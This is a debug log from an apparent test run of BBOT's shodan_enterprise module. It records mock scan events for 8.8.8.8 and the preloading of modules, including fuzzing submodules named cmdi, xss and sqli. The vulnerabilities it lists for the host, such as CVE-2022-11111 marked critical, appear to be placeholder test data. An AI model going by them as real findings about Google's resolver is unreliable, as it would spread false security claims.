base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,908 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,909 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,909 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:03:15,909 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:03:15,909 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,910 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,910 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,910 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:03:15,910 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:03:15,911 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:03:15,911 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) because event was already emitted by its module -2026-03-02 09:03:15,912 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check -2026-03-02 09:03:15,912 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) -2026-03-02 09:03:15,912 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,912 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:03:15,913 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) because precheck succeeded -2026-03-02 09:03:15,913 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,913 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,913 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) -2026-03-02 09:03:15,914 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) passed post-check -2026-03-02 09:03:15,914 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) -2026-03-02 09:03:15,914 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:03:15,914 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) -2026-03-02 09:03:15,915 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,915 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,915 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:03:15,915 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check -2026-03-02 09:03:15,916 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) -2026-03-02 09:03:15,916 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) -2026-03-02 09:03:15,916 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:03:15,916 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:03:15,917 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) passed post-check -2026-03-02 09:03:15,917 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) -2026-03-02 09:03:15,917 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,917 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) -2026-03-02 09:03:15,918 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) because precheck succeeded -2026-03-02 09:03:15,918 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:03:15,918 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,918 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:03:15,919 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) -2026-03-02 09:03:15,919 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:03:15,919 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:03:15,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,920 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) passed post-check -2026-03-02 09:03:15,920 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) -2026-03-02 09:03:15,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:03:15,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:03:15,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:03:15,921 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) -2026-03-02 09:03:15,922 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) because precheck succeeded -2026-03-02 09:03:15,922 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:03:15,922 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:03:15,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:03:15,923 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) -2026-03-02 09:03:15,923 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) because precheck succeeded -2026-03-02 09:03:15,924 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:03:15,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:03:15,924 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:03:15,985 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) from shodan_enterprise -2026-03-02 09:03:15,986 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:03:15,986 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:03:15,987 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,987 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:03:15,988 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,988 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) from shodan_enterprise -2026-03-02 09:03:15,988 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:03:15,989 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:03:15,989 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,989 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) from shodan_enterprise -2026-03-02 09:03:15,990 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:03:15,990 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:03:15,990 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,991 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) from shodan_enterprise -2026-03-02 09:03:15,991 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check -2026-03-02 09:03:15,991 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) from shodan_enterprise -2026-03-02 09:03:15,991 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) passed post-check -2026-03-02 09:03:15,992 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) from shodan_enterprise -2026-03-02 09:03:15,992 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:03:15,992 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:03:15,993 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,993 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-02 09:03:15,993 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-02 09:03:15,994 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-02 09:03:15,994 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-02 09:03:15,994 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-03-02 09:03:15,994 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-02 09:03:15,995 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-02 09:03:15,995 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-02 09:03:16,095 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-02 09:03:16,095 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-03-02 09:03:16,104 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-02 09:03:16,105 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-02 09:03:16,105 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-02 09:03:16,109 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-02 09:03:16,109 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-03-02 09:03:16,110 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-02 09:03:16,111 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-03-02 09:03:16,111 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-03-02 09:03:16,112 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-03-02 09:03:16,179 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_gxnvavuix2 completed in 0 seconds with status FINISHED -2026-03-02 09:03:16,179 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-02 09:03:16,180 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:03:16,181 [CRITICAL] bbot test_module_shodan_enterprise.py:70 Found 1 ASN events -2026-03-02 09:03:16,181 [CRITICAL] bbot test_module_shodan_enterprise.py:81 TCP ports: ['8.8.8.8:53'], UDP ports: ['8.8.8.8:53'] -2026-03-02 09:03:16,181 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {'CVE-2022-11111': 'CRITICAL', 'CVE-2021-12345': 'HIGH', 'CVE-2020-00001': 'LOW'} -2026-03-02 09:03:16,182 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-02 09:03:16,182 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-02 09:05:11,010 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-03-02 09:05:11,018 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-02 09:05:11,018 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-02 09:05:11,019 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-02 09:05:11,020 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-02 09:05:11,020 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-02 09:05:11,021 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-02 09:05:11,021 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-02 09:05:11,022 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-02 09:05:11,022 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-02 09:05:11,023 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-02 09:05:11,023 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-02 09:05:11,024 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-02 09:05:11,024 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-02 09:05:11,025 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-02 09:05:11,025 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-02 09:05:11,026 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-02 09:05:11,026 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-02 09:05:11,027 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-02 09:05:11,027 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-02 09:05:11,028 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-02 09:05:11,028 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-02 09:05:11,029 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-03-02 09:05:11,029 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-02 09:05:11,030 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-02 09:05:11,030 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-02 09:05:11,031 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-02 09:05:11,031 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-02 09:05:11,031 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-02 09:05:11,032 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-03-02 09:05:11,032 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-03-02 09:05:11,033 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-02 09:05:11,034 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-03-02 09:05:11,034 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-02 09:05:11,035 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-02 09:05:11,035 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-02 09:05:11,036 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-02 09:05:11,036 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-02 09:05:11,037 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-02 09:05:11,038 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-02 09:05:11,041 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-02 09:05:11,041 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-02 09:05:11,042 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-02 09:05:11,043 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-02 09:05:11,043 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-02 09:05:11,044 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-02 09:05:11,045 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-02 09:05:11,045 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-02 09:05:11,046 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-02 09:05:11,046 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-03-02 09:05:11,046 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-02 09:05:11,047 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-02 09:05:11,047 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-02 